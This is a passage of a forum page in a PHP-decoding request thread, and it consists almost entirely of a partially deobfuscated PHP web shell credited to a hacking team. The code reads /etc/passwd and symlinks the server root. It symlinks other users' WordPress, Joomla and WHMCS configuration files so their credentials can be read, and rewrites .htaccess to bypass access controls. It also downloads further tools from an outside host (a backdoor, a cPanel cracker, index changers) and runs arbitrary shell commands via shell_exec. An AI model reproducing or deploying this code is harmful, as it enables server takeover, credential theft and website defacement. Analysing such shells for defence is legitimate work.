${${"GLOBALS"}["tnarfvydlnbl"]}="<a href=php.ini><font color=white size=2 face=\"TAHOMA"><u><font color=red>DONE</font> Open this link in new tab to run PHP.INI</u></font></a>";
echo${$bokpbur};
}${"GLOBALS"}["ntxhdqsmrljs"]="users";
${"GLOBALS"}["jfngevhf"]="pro";
${"GLOBALS"}["nldjqvpea"]="b";
echo "n";
${"GLOBALS"}["afkhnbzmnm"]="file";
${"GLOBALS"}["ywafwdr"]="us";
${"GLOBALS"}["gfjhljxftbp"]="rs";
${"GLOBALS"}["ievxhxdpo"]="f";
${"GLOBALS"}["msrssddmky"]="uss";
if(isset($_POST["usre"])){echo "<form method=post>nt<textarea rows=10 cols=50 name=user>";
${"GLOBALS"}["jzxxob"]="users";
$yvwqifw="user";
${${"GLOBALS"}["jzxxob"]}=file("/etc/passwd");
foreach(${${"GLOBALS"}["ntxhdqsmrljs"]} as${$yvwqifw}){${"GLOBALS"}["fkkwyubjvsf"]="str";
${"GLOBALS"}["hznrgwoaci"]="str";
${${"GLOBALS"}["fkkwyubjvsf"]}=explode(":",${${"GLOBALS"}["slemmpnkehn"]});
echo${${"GLOBALS"}["hznrgwoaci"]}[0]."\n";
}echo "n</textarea><br><br>nt<input type=submit name=su value="Click Here To Start\" /></form>\n\t";
}${"GLOBALS"}["bpoyuermka"]="c";
${"GLOBALS"}["gwjfpoeq"]="configuration";
echo "nt";
error_reporting(0);
${"GLOBALS"}["qssxjforzz"]="rt";
echo"<font color=red size=2 face="TAHOMA\">";
if(isset($_POST["su"])){${"GLOBALS"}["cgnoasx"]="g";
${"GLOBALS"}["inevyrhl"]="g";
mkdir("pro",0777);
$npkxefme="rr";
${"GLOBALS"}["hjqgtrxgun"]="configuration";
${$npkxefme}=" Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$hpjuonq="r";
${"GLOBALS"}["ckjxcnymcq"]="consym";
${"GLOBALS"}["kejnlvpo"]="uss";
${${"GLOBALS"}["cgnoasx"]}=fopen("pro/.htaccess","w");
fwrite(${${"GLOBALS"}["inevyrhl"]},${${"GLOBALS"}["ykffkjs"]});
${"GLOBALS"}["bskgxwlhus"]="r";
${${"GLOBALS"}["jfngevhf"]}=symlink("/","pro/root");
$jqcwdcrvki="usr";
${${"GLOBALS"}["qssxjforzz"]}="<a href=pro/root><font color=white size=3 face=\"TAHOMA\"> r00t</font></a>";
echo"Check link given below for / folder root symlink <br><u>$rt</u>";
${${"GLOBALS"}["ekzieepryqz"]}=mkdir("PRO",0777);
${"GLOBALS"}["cfbeukhscan"]="usr";
${$hpjuonq}=" Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
${${"GLOBALS"}["ievxhxdpo"]}=fopen("PRO/.htaccess","w");
fwrite(${${"GLOBALS"}["ievxhxdpo"]},${${"GLOBALS"}["bskgxwlhus"]});
${${"GLOBALS"}["ckjxcnymcq"]}="<a href=PRO/><font color=white size=3 face="TAHOMA">Symlink</font></a>";
echo"<br>Check the link given below for / folder config symlink <br><u><font color=red size=2 face=\"TAHOMA\">$consym</font></u>";
${${"GLOBALS"}["cfbeukhscan"]}=explode("\n",$_POST["user"]);
${${"GLOBALS"}["hjqgtrxgun"]}=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","site/wp-config.php","site/configuration.php","cms/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php","adm/config.php","cms/config.php");
foreach(${$jqcwdcrvki} as${${"GLOBALS"}["kejnlvpo"]}){${"GLOBALS"}["yxmghmxu"]="us";
${${"GLOBALS"}["yxmghmxu"]}=trim(${${"GLOBALS"}["msrssddmky"]});
foreach(${${"GLOBALS"}["gwjfpoeq"]} as${${"GLOBALS"}["bpoyuermka"]}){$gutrivtfje="r";
${"GLOBALS"}["ukepnmm"]="c";
${${"GLOBALS"}["gfjhljxftbp"]}="/home/".${${"GLOBALS"}["ywafwdr"]}."/public_html/".${${"GLOBALS"}["bpoyuermka"]};
${${"GLOBALS"}["tfwrlfhzms"]}="PRO/".${${"GLOBALS"}["ywafwdr"]}." .. ".${${"GLOBALS"}["ukepnmm"]};
symlink(${${"GLOBALS"}["gfjhljxftbp"]},${$gutrivtfje});
}}}echo "\n<hr color=\"red">n<p align="center\" dir="ltr"> \n<font face=\"Verdana\" size=\"1\" font color=red>./tools</font></center><br>\n<font color="red" font size=3 > // <font color="white" font size=3 >\n<a href=\"?a=jic" style="text-decoration: none\">\nJoomla Index Changer </a> <font color=\"white\" font size=3 > <font color=\"red" font size=3 >/ </font> n<a href="?a=wic\" style=\"text-decoration: none">nWordpress Index Changer </a> <font color="white" font size=3 > <font color="red\" font size=3 >/ </font> \n<a href=\"?a=cp" style="text-decoration: none">nCpanel Cracker </a> <font color="white\" font size=3 > <font color="red" font size=3 >/ </font> \n<a href="?a=sql" style=\"text-decoration: none\">\nSql Scanner </a> <font color=\"white\" font size=3 > <font color="red" font size=3 >/ </font> \n<a href="?a=jb" style="text-decoration: none">\nJoomla Bruter </a> <font color="white" font size=3 ></font> \n<font color="red" font size=3 > // </font> \n<br>\n<font color="red" font size=3 > // </font> \n<a href=\"?a=b4ck" style="text-decoration: none\">\nBackdoor </a> <font color="white" font size=3 > <font color=\"red" font size=3 >/ </font> n<a href="?a=jss" style="text-decoration: none">nJoomla Server Scanner </a> <font color="white\" font size=3 > <font color=\"red" font size=3 >/ </font> n<a href="?a=wss" style="text-decoration: none">nWordpress Server Scanner </a> <font color="white" font size=3 > <font color="red" font size=3 >/ </font> n<a href="?a=adm\" style=\"text-decoration: none">nAdmin Finder </a> <font color="white\" font size=3 > <font color="red" font size=3 >/ </font> \n<a href=\"?a=s4s" style="text-decoration: none">nShell Finder </a> <font color="white\" font size=3 ></font>\n<font color=\"red\" font size=3 > // </font> \n</td>\n";
if($_GET[a]=="jic"){$xsffhintnhzk="b";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/joomlaindexchanger.txt");
${"GLOBALS"}["cjtxpkhi"]="b";
${$xsffhintnhzk}=fopen("jic.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["cjtxpkhi"]});
print"<br><center><h3><font color="white">Done Shell Name <a href=\"jic.php\"><font color=red>jic.php</font></a> </h1> ";
}if($_GET[a]=="wic"){${"GLOBALS"}["qdpvdu"]="b";
$tsxpwkpqbk="file";
${"GLOBALS"}["dgozomvh"]="b";
${$tsxpwkpqbk}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/wordpressindexchanger.txt");
${${"GLOBALS"}["dgozomvh"]}=fopen("wic.php","w");
$qrdspyt="file";
${"GLOBALS"}["qfhmhsfufgt"]="b";
fwrite(${${"GLOBALS"}["qdpvdu"]},${$qrdspyt});
fclose(${${"GLOBALS"}["qfhmhsfufgt"]});
print"<br><center><h3><font color=\"white">Done Shell Name <a href="wic.php\"><font color=red>wic.php</font></a> </h1> ";
}if($_GET[a]=="cp"){${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/cpbt.txt");
${${"GLOBALS"}["nldjqvpea"]}=fopen("cp.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color=\"white">Done Shell Name <a href="cp.php"><font color=red>cp.php</font></a> </h1> ";
}if($_GET[a]=="sql"){$iayaadkd="b";
${"GLOBALS"}["bctduaisw"]="b";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/sqlscan.txt");
${${"GLOBALS"}["bctduaisw"]}=fopen("sqlscan.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${$iayaadkd});
print"<br><center><h3><font color="white">Done Shell Name <a href=\"sqlscan.php"><font color=red>sqlscan.php</font></a> </h1> ";
}if($_GET[a]=="jb"){${"GLOBALS"}["pgnchetbqk"]="b";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/joomlabrute.txt");
${${"GLOBALS"}["pgnchetbqk"]}=fopen("jb.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color=\"white\">Done Shell Name <a href="jb.php"><font color=red>jb.php</font></a> </h1> ";
}if($_GET[a]=="b4ck"){$myaorjzhay="file";
${$myaorjzhay}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/b4ck.txt");
${"GLOBALS"}["uawsfyxwqel"]="b";
${${"GLOBALS"}["uawsfyxwqel"]}=fopen("b4ck.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color=\"white">Done Shell Name <a href="b4ck.php\"><font color=red>b4ck.php</font></a> </h1> ";
}if($_GET[a]=="jss"){$urinanwuzjb="b";
${"GLOBALS"}["bciqlhwjip"]="b";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/jss.txt");
${${"GLOBALS"}["nldjqvpea"]}=fopen("jss.php","w");
fwrite(${${"GLOBALS"}["bciqlhwjip"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${$urinanwuzjb});
print"<br><center><h3><font color="white">Done Shell Name <a href="jss.php"><font color=red>jss.php</font></a> </h1> ";
}if($_GET[a]=="wss"){$murjrsedclss="b";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/wss.txt");
${$murjrsedclss}=fopen("wss.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color="white">Done Shell Name <a href="wss.php"><font color=red>wss.php</font></a> </h1> ";
}if($_GET[a]=="adm"){$nktjugsci="b";
${"GLOBALS"}["fkolvyh"]="file";
${${"GLOBALS"}["fkolvyh"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/adm.txt");
${$nktjugsci}=fopen("adm.php","w");
fwrite(${${"GLOBALS"}["nldjqvpea"]},${${"GLOBALS"}["afkhnbzmnm"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color=\"white\">Done Shell Name <a href=\"adm.php"><font color=red>adm.php</font></a> </h1> ";
}if($_GET[a]=="s4s"){$ybsgfgdh="b";
${"GLOBALS"}["gcltjyyywsbj"]="b";
${"GLOBALS"}["gdythngbqyd"]="file";
${${"GLOBALS"}["afkhnbzmnm"]}=file_get_contents("http://ftp.jaist.ac.jp/pub//sourceforge/p/pr/procoderz/shellfinder.txt");
${$ybsgfgdh}=fopen("shellfinder.php","w");
fwrite(${${"GLOBALS"}["gcltjyyywsbj"]},${${"GLOBALS"}["gdythngbqyd"]});
fclose(${${"GLOBALS"}["nldjqvpea"]});
print"<br><center><h3><font color=\"white\">Done Shell Name <a href="shellfinder.php"><font color=red>shellfinder.php</font></a> </h1> ";
}echo"<font face="Verdana\" size=\"2">nn<center>Uname-a : <font color="#808080">".php_uname()."n<br><br>n";
echo"n<table border=1 bordercolor=red>n<td width=550 height=28><center>n<font face="Verdana" size="1" font color=red>./uploader</font></center><br>";
echo"<center><form action="\" method="post" enctype="multipart/form-data" name=\"uploader\" id=\"uploader">";
$glkfnrf="cmd";
echo"<center><input type="file" name="file\" size="50"><input name="_upl" type="submit" id="_upl" value=\"Upload\"></form></center>";
if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"<p align=\"center\"><font face="Verdana" size=\"1\"><font color="white"> OK :)</font><br>";
}else{echo"<font color=\"#FF0000\">Failed :( </font></p>\n\t</td></table></tr>\n";
}}echo "\n</body>\n<hr color="red">\n</html>\n<table border=1 bordercolor=red>\n<td width=550 height=28>\n<html> \n<body text=red> <center><font size=1 font color=red>./terminal</font></center>\n<form method=POST><pre>[pro@";
echo$_SERVER["SERVER_NAME"];
echo " ~] # <input type=TEXT name="-cmd" size=64 value="";
${"GLOBALS"}["trgxqib"]="cmd";
echo ${${"GLOBALS"}["trgxqib"]};
echo "" \nstyle=\"font-family: Courier New;
\"> \n</center>\n";
${${"GLOBALS"}["trgxqib"]}=$_REQUEST["-cmd"];
echo " \n";
if(${${"GLOBALS"}["trgxqib"]}!="")print Shell_Exec(${$glkfnrf});
echo "\n[<sy><a href=\"#top\">TOP</a></sy>]\n</pre><hr color=\"red"><center><font size=1>nCoded by <a href="http://www.facebook.com/root.procoderz\">RetnOHacK</a> #Procoderz Team Albanian<br><a href=\"http://www.procoderz.com\">www.procoderz.com</a></table></html>";
?> |
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
